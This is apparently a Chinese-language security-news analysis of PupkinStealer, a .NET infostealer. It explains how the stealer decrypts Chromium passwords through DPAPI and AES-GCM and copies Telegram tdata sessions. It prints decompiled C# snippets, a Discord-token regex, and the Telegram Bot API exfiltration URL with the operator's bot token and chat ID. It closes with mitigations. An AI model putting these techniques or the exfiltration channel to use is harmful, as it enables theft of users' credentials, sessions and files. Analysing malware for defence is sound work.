1. 簡介

PupkinStealer 於 2025 年 4 月首次被觀察到,是一個輕量但高效的基於 .NET 的資訊竊取程式,目標為敏感使用者資料,如瀏覽器認證、Telegram/Discord session、桌面檔案及螢幕截圖。與進階竊取程式不同,它優先考慮快速執行而非持久性或規避檢測,依賴非同步任務及 Telegram 的 Bot API 進行隱秘的資料外洩。本報告分析其技術架構、資料竊取機制及運作流程,重點探討其模組化設計及加密實作。

PupkinStealer 技術解密:探索 .NET 惡意軟體如何利用 Telegram 竊密 | 資訊安全新聞

2. 技術架構與執行流程

2.1 檔案結構與混淆

PupkinStealer 是一個 32 位元 .NET 可執行檔案(SHA-256: 9309003c245f94ba4ee52098dadbaa0d0a4d83b423d76c1bfc082a1c29e0b95f ),編譯為 AnyCPU 架構,支援 x86/x64 系統相容性。儘管 .text 區段因使用 Costura.Fody(嵌入壓縮 DLL 的工具)而具有高熵值(7.998),該惡意軟體未採用傳統的混淆或封裝技術,因此可透過工具如 dnSpy 輕易反編譯。

2.2 Main() 方法與非同步任務協調

惡意軟體的入口點 Main() 啟動並行任務以最大化效率:

  1. private static void Main(string[] args) {
  2. Task[] tasks = {
  3. Task.Run(() => Chromium.ChromiumPasswords.DecryptingBrowsersPasswords()),
  4. Task.Run(() => Desktop.GrabberDesktop()),
  5. Task.Run(() => Telegram.GrabberTelegramSession()),
  6. Task.Run(() => Discord.GrabberDiscordToken()),
  7. Task.Run(() => Screenshot.GrabberScreenshot())
  8. };
  9. Task.WaitAll(tasks);
  10. DataDispatch.ZipCompression();
  11. DataDispatch.Dispatch(Variables.ID);
  12. }

此結構確保資料收集模組並行執行,縮短檢測窗口。

3. 資料竊取機制

3.1 基於 Chromium 的瀏覽器認證提取

ChromiumPasswords 類別針對 Chrome、Edge、Opera 及 Vivaldi 進行以下操作:

  1. 定位登入資料檔案 :檢查 SQLite 資料庫(例如 %LocalAppData%\Google\Chrome\User Data\Default\Login Data )。
  2. 解密主金鑰 :從 Local State 檔案中提取 base64 編碼的 encrypted_key ,並使用 ProtectedData.Unprotect (Windows DPAPI)進行解密。
  3. AES-GCM 解密 :對於使用 Chromium "v10" 方法加密的密碼, FunctionsForDecrypt 提取 nonce(IV)、salt 及 ciphertext,然後使用衍生金鑰進行 AES-GCM 解密。

程式碼片段:解密流程

  1. public static string Decrypt(byte[] salt, byte[] key, byte[] iv) {
  2. using (AesGcm aesGcm = new AesGcm(key)) {
  3. byte[] decryptedBytes = new byte[ciphertext.Length];
  4. aesGcm.Decrypt(iv, ciphertext, tag, decryptedBytes);
  5. return Encoding.UTF8.GetString(decryptedBytes);
  6. }
  7. }

3.2 Telegram 與 Discord Session 劫持

  • Telegram :將 tdata 資料夾(包含 session 檔案,如 map1 )複製至 %Temp%\[username]\Telegram ,無需認證即可實現帳號冒充。
  • Discord :掃描 leveldb 儲存空間,使用正則表達式模式(例如 [A-Za-z0-9]{24}\.[A-Za-z0-9]{6}\.[A-Za-z0-9_-]{27} )提取 token,繞過應用程式綁定加密。

3.3 桌面檔案收集與螢幕截圖擷取

GrabberDesktop 方法依檔案副檔名( .pdf .txt .jpg 等)篩選檔案,並複製至 %Temp%\[username]\DesktopFiles 。使用 System.Drawing.Graphics.CopyFromScreen() 以 1920×1080 解析度擷取螢幕截圖,儲存為 desktop.jpg

4. 透過 Telegram Bot API 進行資料外洩

所有竊取的資料被壓縮為 ZIP 檔案( [Username]@ardent.zip ),使用 CP866 編碼及最高壓縮等級(等級 9)。檔案透過對 Telegram bot( botkanalchik_bot )的 HTTP POST Request 傳輸:

https://api.telegram.org/bot[BotToken]/sendDocument?chat_id=7613862165&caption=[Username]|[IP]|[SID]

bot token( 8013735771:AAE_UrTgQsAmiAsXeDN6mehD_fo3vEg-kCM )及俄語 metadata("куплю рамоны за 2 к")顯示與俄語操作者別名 "Ardent" 的關聯。

5. 反分析與操作限制

PupkinStealer 缺乏進階的反除錯或持久性機制,而是依賴:

  • 程序終止 :透過 Process.Kill() 終止瀏覽器程序(例如 chrome.exe )以解鎖 Login Data 檔案。
  • 低調執行 :避免修改登錄檔或排程任務,減少數位足跡。

6. 緩解策略

  1. 認證管理 :對重要帳號強制使用密碼管理器及多因素驗證(MFA)。
  2. 網路監控 :封鎖對 Telegram API 端點(例如 api.telegram.org )的外部流量。
  3. 端點保護 :部署使用行為分析的檢測,針對未經使用者互動存取 Login Data leveldb 的程序。
  4. 使用者培訓 :教育使用者認識釣魚風險及未經授權的軟體下載。

7. 結論

PupkinStealer 代表了在惡意軟體即服務(MaaS)生態系統中蓬勃發展的低複雜度、模組化竊取程式的趨勢。其專注於資料收集及使用 Telegram 做為外洩方式,凸顯網路犯罪分子日益依賴合法平台來保持匿名。雖然缺乏複雜性,但其在認證竊取及 session 劫持方面的效率帶來顯著風險,需採取積極的防禦策略。

Copyright © 2025 版權所有 翊天科技有限公司